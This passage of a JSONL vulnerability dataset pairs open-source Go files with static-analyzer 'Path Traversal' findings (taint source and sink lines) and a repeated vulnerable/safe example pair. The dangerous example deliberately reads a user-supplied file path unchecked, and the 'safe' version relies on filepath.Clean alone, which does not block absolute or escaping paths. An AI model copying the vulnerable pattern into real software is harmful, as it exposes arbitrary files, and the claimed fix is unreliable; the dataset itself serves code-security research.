{\n\t\t\tpanic(err)\n\t\t}\n\t}\n}\n\nfunc allowed(gk schema.GroupKind) bool {\n\tif len(allowedGroups) == 0 && len(allowedGKs) == 0 {\n\t\treturn true\n\t}\n\n\tif _, ok := allowedGroups[gk.Group]; ok {\n\t\treturn true\n\t}\n\tif _, ok := allowedGKs[gk]; ok {\n\t\treturn true\n\t}\n\treturn false\n}\n\nfunc processLocation(location string) error {\n\tu, err := url.Parse(location)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif u.Scheme != \"\" {\n\t\tresp, err := http.Get(u.String())\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer func() { _ = resp.Body.Close() }()\n\t\tvar buf bytes.Buffer\n\t\t_, err = io.Copy(&buf, resp.Body)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\treturn parser.ProcessResources(buf.Bytes(), extractCRD)\n\t}\n\n\tfi, err := os.Stat(location)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif fi.IsDir() {\n\t\treturn parser.ProcessPath(location, extractCRD)\n\t} else {\n\t\tdata, err := ioutil.ReadFile(location)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\treturn parser.ProcessResources(data, extractCRD)\n\t}\n}\n\nfunc extractCRD(ri parser.ResourceInfo) error {\n\tvar def Definition\n\n\terr := meta_util.DecodeObject(ri.Object.Object, &def)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tgv, err := schema.ParseGroupVersion(def.APIVersion)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tgk := schema.GroupKind{\n\t\tGroup: def.Spec.Group,\n\t\tKind: def.Spec.Names.Kind,\n\t}\n\n\tif _, ok := crdstore[gk]; !ok {\n\t\tcrdstore[gk] = map[string]*unstructured.Unstructured{}\n\t}\n\tcrdstore[gk][gv.Version] = ri.Object\n\n\treturn nil\n}\n\nfunc WriteCRD(dir string, gk schema.GroupKind, version string) ([]byte, string, error) {\n\tcrdversions, ok := crdstore[gk]\n\tif !ok {\n\t\treturn nil, \"\", fmt.Errorf(\"missing crd for %+v\", gk)\n\t}\n\tif len(crdversions) == 0 {\n\t\treturn nil, \"\", fmt.Errorf(\"missing crd version for %+v\", gk)\n\t}\n\n\tcrd, ok := crdversions[version]\n\tif !ok {\n\t\tif version == \"v1\" {\n\t\t\t// convert to v1\n\t\t\tdata, err := yaml.Marshal(crdversions[\"v1beta1\"])\n\t\t\tif err != nil {\n\t\t\t\treturn nil, \"\", err\n\t\t\t}\n\t\t\tvar defv1beta1 crdv1beta1.CustomResourceDefinition\n\t\t\terr = yaml.Unmarshal(data, &defv1beta1)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, \"\", err\n\t\t\t}\n\n\t\t\tvar inner apiextensions.CustomResourceDefinition\n\t\t\terr = crdv1beta1.Convert_v1beta1_CustomResourceDefinition_To_apiextensions_CustomResourceDefinition(&defv1beta1, &inner, nil)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, \"\", err\n\t\t\t}\n\n\t\t\tvar defv1 crdv1.CustomResourceDefinition\n\t\t\terr = crdv1.Convert_apiextensions_CustomResourceDefinition_To_v1_CustomResourceDefinition(&inner, &defv1, nil)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, \"\", err\n\t\t\t}\n\n\t\t\tdata, err = yaml.Marshal(defv1)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, \"\", err\n\t\t\t}\n\n\t\t\tfilename := filepath.Join(dir, fmt.Sprintf(\"%s_%s.yaml\", defv1.Spec.Group, defv1.Spec.Names.Plural))\n\t\t\treturn data, filename, nil\n\t\t\t// return ioutil.WriteFile(filename, data, 0644)\n\t\t} else if version == \"v1beta1\" {\n\t\t\t// convert to v1beta1\n\t\t\tdata, err := yaml.Marshal(crdversions[\"v1\"])\n\t\t\tif err != nil {\n\t\t\t\treturn nil, \"\", err\n\t\t\t}\n\t\t\tvar defv1 crdv1.CustomResourceDefinition\n\t\t\terr = yaml.Unmarshal(data, &defv1)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, \"\", err\n\t\t\t}\n\n\t\t\tvar inner apiextensions.CustomResourceDefinition\n\t\t\terr = crdv1.Convert_v1_CustomResourceDefinition_To_apiextensions_CustomResourceDefinition(&defv1, &inner, nil)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, \"\", err\n\t\t\t}\n\n\t\t\tvar defv1beta1 crdv1beta1.CustomResourceDefinition\n\t\t\terr = crdv1beta1.Convert_apiextensions_CustomResourceDefinition_To_v1beta1_CustomResourceDefinition(&inner, &defv1beta1, nil)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, \"\", err\n\t\t\t}\n\n\t\t\tdata, err = yaml.Marshal(defv1beta1)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, \"\", err\n\t\t\t}\n\n\t\t\tfilename := filepath.Join(dir, fmt.Sprintf(\"%s_%s.yaml\", defv1beta1.Spec.Group, defv1beta1.Spec.Names.Plural))\n\t\t\treturn data, filename, nil\n\t\t}\n\t}\n\n\tdata, err := yaml.Marshal(crd)\n\tif err != nil {\n\t\treturn nil, \"\", err\n\t}\n\n\tvar def Definition\n\terr = meta_util.DecodeObject(crd.Object, &def)\n\tif err != nil {\n\t\treturn nil, \"\", err\n\t}\n\tfilename := filepath.Join(dir, fmt.Sprintf(\"%s_%s.yaml\", def.Spec.Group, def.Spec.Names.Plural))\n\treturn data, filename, nil\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 77, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "StringVar"}}, {"lineNo": 77, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 91, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "3391d280a917e62e0c4d6770fd44c83d41efc71493b9bfd14cadd6f2bfa87b83", "license": {"spdx": ["Apache-2.0"], "repo": "WinWisely268/bootstrap", "path": "tool/protofig/main.go", "repo_head_hexsha": "de45530f1a6ab512429b79090a73613ee5819b09", "stack_hexsha": "fb3963ee17858150449975cbec50b06319f72aa9", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 55, "entireCode": "package main\n\nimport (\n\t\"encoding/json\"\n\t\"flag\"\n\t\"fmt\"\n\t\"github.com/getcouragenow/bootstrap/tool/protofig/config\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"os\"\n)\n\nvar (\n\tjsonFile string\n\toutPath string\n\tuser string\n)\n\ntype outputStruct struct {\n\tcfg *config.DefConfig\n\tpath string\n\tsuffix string\n}\n\nfunc NewOutputStruct(cfg *config.DefConfig, path, suffix string) *outputStruct {\n\treturn &outputStruct{\n\t\tcfg: cfg,\n\t\tpath: path,\n\t\tsuffix: suffix,\n\t}\n}\n\nfunc main() {\n\tflag.StringVar(&jsonFile, \"f\", \"\", \"json file to decode/encode\")\n\tflag.StringVar(&outPath, \"o\", \"\", \"json output validated against protobuf schema\")\n\tflag.StringVar(&user, \"u\", \"\", \"prefix to output files\")\n\tflag.Parse()\n\n\tif jsonFile == \"\" {\n\t\tlog.Fatal(\"Error: you have to supply the jsonfile option\")\n\t}\n\n\tif outPath == \"\" {\n\t\tout, err := os.Getwd()\n\t\tif err != nil {\n\t\t\tlog.Fatal(\"Cannot get current working dir\")\n\t\t}\n\t\toutPath = out\n\t}\n\n\tif user == \"\" {\n\t\tlog.Fatal(\"Error: user prefix has to be supplied\")\n\t}\n\n\tf, err := os.Open(jsonFile)\n\tif err != nil {\n\t\tlog.Fatalf(\"Error: your input json file doesn't exist: %v\", err)\n\t}\n\n\tfile, err := ioutil.ReadAll(f)\n\tif err != nil {\n\t\tlog.Fatalf(\"Error: your input can't be read: %v\", err)\n\t}\n\n\tvar newAppConfig config.DefConfig\n\tif err := json.Unmarshal(file, &newAppConfig); err != nil {\n\t\tlog.Fatalf(\"Error: unable to marshal to json: %v\", err)\n\t}\n\n\tnewOutputStruct := NewOutputStruct(&newAppConfig, outPath, user)\n\n\tif err = CreateOutputs(newOutputStruct); err != nil {\n\t\tlog.Fatalf(\"Error while creating output: %v\", err)\n\t}\n\n}\n\nfunc CreateOutputs(out *outputStruct) (err error) {\n\tif err = out.createOutput(makeJsonConfig, writeFile, \"json\"); err != nil {\n\t\treturn err\n\t}\n\tif err = out.createOutput(makeSecretConfig, writeFile, \"yaml\"); err != nil {\n\t\treturn err\n\t}\n\treturn out.createOutput(makeShellConfig, writeFile, \"env\")\n}\n\nfunc (o *outputStruct) createOutput(f func(c *config.Component) ([]byte, error), writeFunc func(string, []byte) error, format string) error {\n\tfor _, c := range o.cfg.AppConfig {\n\t\tnb, err := f(&c)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err = writeFunc(\n\t\t\tfmt.Sprintf(\"%s/%s.%s.%s\", o.path, c.Name, o.suffix, format), nb); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc writeFile(path string, content []byte) error {\n\treturn ioutil.WriteFile(path, content, 0644)\n}\n\nfunc makeJsonConfig(c *config.Component) ([]byte, error) {\n\treturn c.ConfigToJSON()\n}\n\nfunc makeShellConfig(c *config.Component) ([]byte, error) {\n\treturn c.ConfigToShellEnv()\n}\n\nfunc makeSecretConfig(c *config.Component) ([]byte, error) {\n\treturn c.ConfigToK8sSecret()\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 34, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "StringVar"}}, {"lineNo": 34, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 55, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "56d5dd59dd7bd3e7523dae1e103af4e26b33ea675a2f2584b957216bb7376b52", "license": {"spdx": ["BSD-3-Clause"], "repo": "m00tiny/scripts", "path": "webapp/sweet32.go", "repo_head_hexsha": "54660525f36e3e97d23fbd259ceb9b10823f2ee2", "stack_hexsha": "615f17f08189fbde9af63f5d08eeb6bfea045a59", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 160, "entireCode": "package main\n\nimport (\n\t\"bufio\"\n\t\"crypto/tls\"\n\t\"flag\"\n\t\"fmt\"\n\t\"net\"\n\t\"os\"\n\t\"time\"\n)\n\ntype Config struct {\n\tverbose bool\n\ttimeout time.Duration\n\ttlsConfig *tls.Config\n}\n\nvar config Config\n\nfunc vprint(msg string) {\n\tif config.verbose {\n\t\tfmt.Printf(msg)\n\t}\n}\n\nfunc fail(err error) {\n\tif err != nil {\n\t\tfmt.Printf(\"[E] %s\\n\", err)\n\t\tos.Exit(1)\n\t}\n}\n\nfunc banner() {\n\tfmt.Println(\" [ The SWEET32 Tester ]\")\n}\n\nfunc cipherstring(i uint16) string {\n\tswitch {\n\tcase i == 0x000a:\n\t\treturn \"TLS_RSA_WITH_3DES_EDE_CBC_SHA\"\n\tcase i == 0xc012:\n\t\treturn \"TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA\"\n\tdefault:\n\t\treturn \"\"\n\t}\n}\n\nfunc connection(target string) (*tls.Conn, error) {\n\t// Create a TCP connection.\n\tconn, err := net.DialTimeout(\"tcp\", target, config.timeout)\n\tfail(err)\n\n\tvprint(fmt.Sprintf(\"[+] Successfully connected to: %s\\n\", conn.RemoteAddr()))\n\n\t// Create TLS connection using our TCP connection and set a deadline\n\t// before attempting the handshake. This will ensure the handshake times\n\t// out.\n\ttlsconn := tls.Client(conn, config.tlsConfig)\n\ttlsconn.SetDeadline(time.Now().Add(config.timeout))\n\n\terr = tlsconn.Handshake()\n\tif err != nil {\n\t\treturn tlsconn, err\n\t}\n\n\t// Reset the deadline to zero.\n\ttlsconn.SetDeadline(time.Time{})\n\n\t// Document cipher suite\n\tstate := tlsconn.ConnectionState()\n\tvprint(fmt.Sprintf(\"[+] Using: %s\\n\", cipherstring(state.CipherSuite)))\n\n\treturn tlsconn, nil\n}\n\nfunc parse(filename string) []string {\n\tvar targets []string\n\n\tdata, err := os.Open(filename)\n\tfail(err)\n\n\tdefer data.Close()\n\n\tscan := bufio.NewScanner(data)\n\tfor scan.Scan() {\n\t\ttarget := scan.Text()\n\t\tif target != \"\" {\n\t\t\ttargets = append(targets, target)\n\t\t}\n\t}\n\n\treturn targets\n}\n\nfunc check(target string) {\n\tbanner()\n\tfmt.Printf(\"[*] Testing connection to %s.\\n\", target)\n\n\tconn, err := connection(target)\n\tdefer conn.Close()\n\n\tif err == nil {\n\t\t// Write data to the connection.\n\t\tfor i := 1; i <= 10000; i++ {\n\t\t\tsend := []byte(fmt.Sprintf(\"GET / HTTP/1.1\\r\\nHost: %s\\r\\n\\r\\n\", target))\n\t\t\t_, err := conn.Write(send)\n\t\t\tif err != nil {\n\t\t\t\tvprint(\"\\n\")\n\t\t\t\tvprint(fmt.Sprintf(\"[+] Connection closed after %d requests.\\n\", i))\n\t\t\t\tfmt.Printf(\"[+] %s is not vulnerable.\\n\", target)\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\tresp := make([]byte, 512)\n\t\t\tconn.Read(resp)\n\n\t\t\tif i%20 == 0 {\n\t\t\t\tvprint(\".\")\n\t\t\t}\n\n\t\t\tif i == 10000 {\n\t\t\t\tvprint(\"\\n\")\n\t\t\t\tvprint(fmt.Sprintf(\"[-] The server accepted 10000 requests.\\n\"))\n\t\t\t\tfmt.Printf(\"[-] %s is likely vulnerable.\\n\", target)\n\t\t\t}\n\t\t}\n\t\tfmt.Println(\"\")\n\t} else {\n\t\tfmt.Printf(\"[E] %s\\n\", err)\n\t\tfmt.Println(\"\")\n\t}\n}\n\nfunc main() {\n\tvar verbose bool\n\tvar server string\n\tvar port string\n\tvar filename string\n\n\tflag.BoolVar(&verbose, \"v\", false, \"Verbose output.\")\n\tflag.StringVar(&server, \"s\", \"\", \"IP address or hostname of web server.\")\n\tflag.StringVar(&port, \"p\", \"\", \"Port number of web server.\")\n\tflag.StringVar(&filename, \"f\", \"\", \"File containing a list of servers in server:port format.\")\n\tflag.Parse()\n\n\t// Configuration\n\tconfig.verbose = verbose\n\tconfig.timeout = 30 * time.Second\n\tconfig.tlsConfig = &tls.Config{\n\t\tInsecureSkipVerify: true,\n\t\tCipherSuites: []uint16{\n\t\t\ttls.TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA,\n\t\t\ttls.TLS_RSA_WITH_3DES_EDE_CBC_SHA,\n\t\t},\n\t}\n\n\tswitch {\n\tcase filename != \"\":\n\t\ttargets := parse(filename)\n\t\tfor _, target := range targets {\n\t\t\tcheck(target)\n\t\t}\n\n\tcase server != \"\" && port != \"\":\n\t\ttarget := fmt.Sprintf(\"%s:%s\", server, port)\n\t\tcheck(target)\n\n\tdefault:\n\t\tflag.Usage()\n\t}\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 144, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 159, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "160"}}, {"lineNo": 160, "eventType": "source", "messageKey": "synz.COMMON.value.passed.to", "params": {"arg0": "parse"}}, {"lineNo": 160, "eventType": "source", "messageKey": "synz.COMMON.called", "params": {"arg0": "parse"}}, {"lineNo": 160, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "62b396c8998ac09eb02b8d847971cf15e0de85ee024c7baeed78ca617dbea3c4", "license": {"spdx": ["MIT"], "repo": "joshheinrichs/profile-parrot", "path": "main.go", "repo_head_hexsha": "758ec1085f216accd6fe8168024eac27e4312741", "stack_hexsha": "b3fd2fd52e4316b6239f24ff3ecc302b913b1758", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 67, "entireCode": "package main\n\n//go:generate go-bindata -pkg $GOPACKAGE -o assets.go assets/\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"flag\"\n\t\"fmt\"\n\t\"image/gif\"\n\t\"image/png\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"mime/multipart\"\n\t\"net/http\"\n\t\"os\"\n)\n\ntype slackResponse struct {\n\tOK bool `json:\"ok\"`\n\tError string `json:\"error\"`\n}\n\nfunc setPhoto(token string, image []byte) error {\n\tvar body bytes.Buffer\n\twriter := multipart.NewWriter(&body)\n\tdefer writer.Close()\n\t_ = writer.WriteField(\"token\", token)\n\tpart, err := writer.CreateFormFile(\"image\", \"parrot.png\")\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, err = io.Copy(part, bytes.NewBuffer(image))\n\tresp, err := http.Post(\"https://slack.com/api/users.setPhoto\", writer.FormDataContentType(), &body)\n\tif err != nil {\n\t\treturn err\n\t}\n\tvar slackResp slackResponse\n\tdec := json.NewDecoder(resp.Body)\n\tdec.Decode(&slackResp)\n\tif !slackResp.OK {\n\t\treturn fmt.Errorf(\"slack: %s\", slackResp.Error)\n\t}\n\treturn nil\n}\n\nfunc main() {\n\tvar slackToken, parrot string\n\tflag.StringVar(&slackToken, \"slack-token\", \"\",\n\t\t\"A Slack API token, generatable at https://api.slack.com/custom-integrations/legacy-tokens\")\n\tflag.StringVar(&parrot, \"parrot\", \"\",\n\t\t\"Path to a parrot gif to use. If not provided, will default to the original party parrot.\")\n\tflag.Parse()\n\tif slackToken == \"\" {\n\t\tfmt.Fprintf(os.Stderr, \"flag is required: -slack-token\\n\")\n\t\tflag.Usage()\n\t\tos.Exit(2)\n\t}\n\n\tfmt.Println(\"profile parrot is running!\")\n\n\tvar reader io.Reader\n\tif parrot == \"\" {\n\t\tparrotBytes := MustAsset(\"assets/parrot.gif\")\n\t\treader = bytes.NewReader(parrotBytes)\n\t} else {\n\t\tf, err := os.Open(parrot)\n\t\tif err != nil {\n\t\t\tfmt.Fprintf(os.Stderr, \"error: %s\\n\", err)\n\t\t\tos.Exit(1)\n\t\t}\n\t\treader = f\n\t}\n\tparrotGIF, err := gif.DecodeAll(reader)\n\tif err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"error: %s\\n\", err)\n\t\tos.Exit(1)\n\t}\n\n\t// convert images to pngs\n\tconvertedImages := make([][]byte, len(parrotGIF.Image))\n\tfor i, img := range parrotGIF.Image {\n\t\tbuf := &bytes.Buffer{}\n\t\tif err := png.Encode(buf, img); err != nil {\n\t\t\tfmt.Fprintf(os.Stderr, \"error: %s\\n\", err)\n\t\t\tos.Exit(1)\n\t\t}\n\t\tb, err := ioutil.ReadAll(buf)\n\t\tif err != nil {\n\t\t\tfmt.Fprintf(os.Stderr, \"error: %s\\n\", err)\n\t\t\tos.Exit(1)\n\t\t}\n\t\tconvertedImages[i] = b\n\t}\n\n\ti := 0\n\tfor {\n\t\terr := setPhoto(slackToken, convertedImages[i])\n\t\tif err != nil {\n\t\t\tfmt.Fprintf(os.Stderr, \"error: %s\\n\", err)\n\t\t\tos.Exit(1)\n\t\t}\n\t\ti = (i + 1) % len(parrotGIF.Image)\n\t}\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 51, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "StringVar"}}, {"lineNo": 51, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 67, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "0e57c5123be85edeb0c0746c48e5e52fc35cb4051b8ac7e2dd57001429cd3eba", "license": {"spdx": ["Apache-2.0"], "repo": "nbvghost/gateway", "path": "gateway.go", "repo_head_hexsha": "0b9e8ec2defa51510dddee7dc1da5a34c20c4f1b", "stack_hexsha": "c81ca619177b2af8ef72e027a774e9dfc4800694", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 46, "entireCode": "package main\n\nimport (\n\t\"crypto/tls\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"flag\"\n\t\"fmt\"\n\t\"gateway/util\"\n\t\"net\"\n\n\t\"gateway/model\"\n\t\"gateway/server\"\n\t\"io/ioutil\"\n\t\"log\"\n\n\t\"net/http\"\n\n\t\"strconv\"\n\n\t\"sync\"\n\t\"time\"\n)\n\nvar pool = &NodePool{Pool: make(map[string]model.Node)}\nvar Config model.Config\n\ntype NodePool struct {\n\tsync.RWMutex\n\tPool map[string]model.Node\n}\n\n/*type UrlInfo struct {\n\tUrl string\n}*/\n\n//var cacheData = make(map[string]map[string]UrlInfo)\n\n//var infoPage []byte\n\nfunc init() {\n\tvar ConfigFile string\n\tflag.StringVar(&ConfigFile, \"config\", \"config.json\", \"config\")\n\tflag.Parse()\n\n\tcontent, err := ioutil.ReadFile(ConfigFile)\n\tif err != nil {\n\t\tpanic(\"缺少配制文件:config.json\")\n\n\t} else {\n\t\t//fmt.Println(string(content))\n\t\terr = json.Unmarshal(content, &Config)\n\t\tutil.CheckError(err)\n\t}\n\n\t//infoPage, _ = ioutil.ReadFile(\"info.html\")\n}\n\nfunc main() {\n\thttp.DefaultClient.Timeout = time.Second * 1\n\n\t//go runInfo()\n\t//readAbleServer()\n\t//go startHttp()\n\tdomainMap := Config.GateWay.GetNodesMap()\n\n\th := &server.GateWayHandle{}\n\th.NodesMap = domainMap\n\n\tgo func() {\n\n\t\ttlsCfg := &tls.Config{\n\t\t\tGetCertificate: func(info *tls.ClientHelloInfo) (*tls.Certificate, error) {\n\t\t\t\tnode, ok := domainMap[info.ServerName]\n\t\t\t\tif ok {\n\n\t\t\t\t\tcert, err := tls.X509KeyPair([]byte(node.CertFile), []byte(node.KeyFile))\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn nil, err\n\t\t\t\t\t}\n\n\t\t\t\t\treturn &cert, nil\n\t\t\t\t}\n\n\t\t\t\treturn nil, errors.New(\"not exist ca\")\n\n\t\t\t},\n\t\t}\n\n\t\tserver := &http.Server{Addr: \":443\", Handler: h, TLSConfig: tlsCfg}\n\n\t\tserver.ConnState = func(conn net.Conn, state http.ConnState) {\n\t\t\tfmt.Println(state)\n\t\t}\n\n\t\terr := server.ListenAndServeTLS(\"\", \"\")\n\t\tutil.CheckError(err)\n\n\t}()\n\n\tutil.Trace(\"gateway start to \" + strconv.Itoa(Config.GateWay.Port))\n\terr := http.ListenAndServe(\":\"+strconv.Itoa(Config.GateWay.Port), h)\n\tif err != nil {\n\t\tlog.Fatalln(\"ListenAndServe: \", err)\n\t}\n}\n\n/*func startHttp() {\n\t//http.Handle(\"/status\", FrameworkHttp.HttpObject{HandlerFunc: statusAction})\n\thttp.HandleFunc(\"/status\", statusAction)\n\terr := http.ListenAndServe(\":9191\", nil)\n\tlog.Println(err)\n}*/\n\n/*func statusAction(Response http.ResponseWriter, Request *http.Request) {\n\n\tbs := \"\"\n\tfor _, v := range Config.GateWay.Nodes {\n\t\tb, err := xml.Marshal(v)\n\t\tCheckError(err)\n\t\tbs = bs + string(b)\n\t\t//fmt.Println(bs)\n\t}\n\n\tbs = `` + bs + ``\n\n\tResponse.Write([]byte(bs))\n}*/\n\n/*func readAbleServer() {\n\tgo func() {\n\t\tfor {\n\n\t\t\tpool.Lock()\n\t\t\tfor k, v := range pool.Pool {\n\t\t\t\tif v == nil {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tif v.OperationTime+int64(30*60) < time.Now().Unix() {\n\n\t\t\t\t\tdelete(pool.Pool, k)\n\n\t\t\t\t}\n\t\t\t}\n\t\t\tpool.Unlock()\n\t\t\t//fmt.Println(currentNode)\n\t\t\ttime.Sleep(time.Second * 1)\n\t\t}\n\t}()\n}*/\n\n/*func runInfo() {\n\n\tfor {\n\t\tfor i := 0; i < len(Config.GateWay.Nodes); i++ {\n\t\t\t//go connectSocket(&gateway.Nodes[i])\n\t\t\trequestRuninfo(&Config.GateWay.Nodes[i])\n\n\t\t}\n\t\ttime.Sleep(time.Second)\n\t}\n\n}*/\n\n/*func requestRuninfo(node *Node) {\n\n\tIPAddress := node.IP + \":\" + strconv.Itoa(node.Port)\n\n\trequest, err := http.NewRequest(\"GET\", \"http://\"+IPAddress+\"/info/run\", nil)\n\trequest.AddCookie(&http.Cookie{Name: \"GLSESSIONID\", Value: IPAddress, Path: \"/\"})\n\tresp, err := http.DefaultClient.Do(request)\n\t//resp, err := http.Get(\"http://\" + node.IP + \":\" + strconv.Itoa(node.Port) + \"/info/run\")\n\tif err == nil {\n\t\tbody, _ := ioutil.ReadAll(resp.Body)\n\t\td := make(map[string]interface{})\n\t\tjson.Unmarshal(body, &d)\n\n\t\tif d[\"Data\"] != nil {\n\t\t\tData := d[\"Data\"].(map[string]interface{})\n\t\t\tif Data[\"OnlineCount\"] != nil {\n\t\t\t\tOnlineCount := Data[\"OnlineCount\"].(float64)\n\n\t\t\t\tpool.Lock()\n\t\t\t\tnode.ClientCount, _ = strconv.Atoi(strconv.FormatFloat(OnlineCount, 'f', 0, 64))\n\t\t\t\tnode.Enable = true\n\t\t\t\tpool.Unlock()\n\t\t\t}\n\t\t}\n\n\t} else {\n\t\tnode.Enable = false\n\t\t//CheckError(err)\n\t}\n\n}*/", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 43, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "StringVar"}}, {"lineNo": 43, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 46, "eventType": "sink", "messageKey": 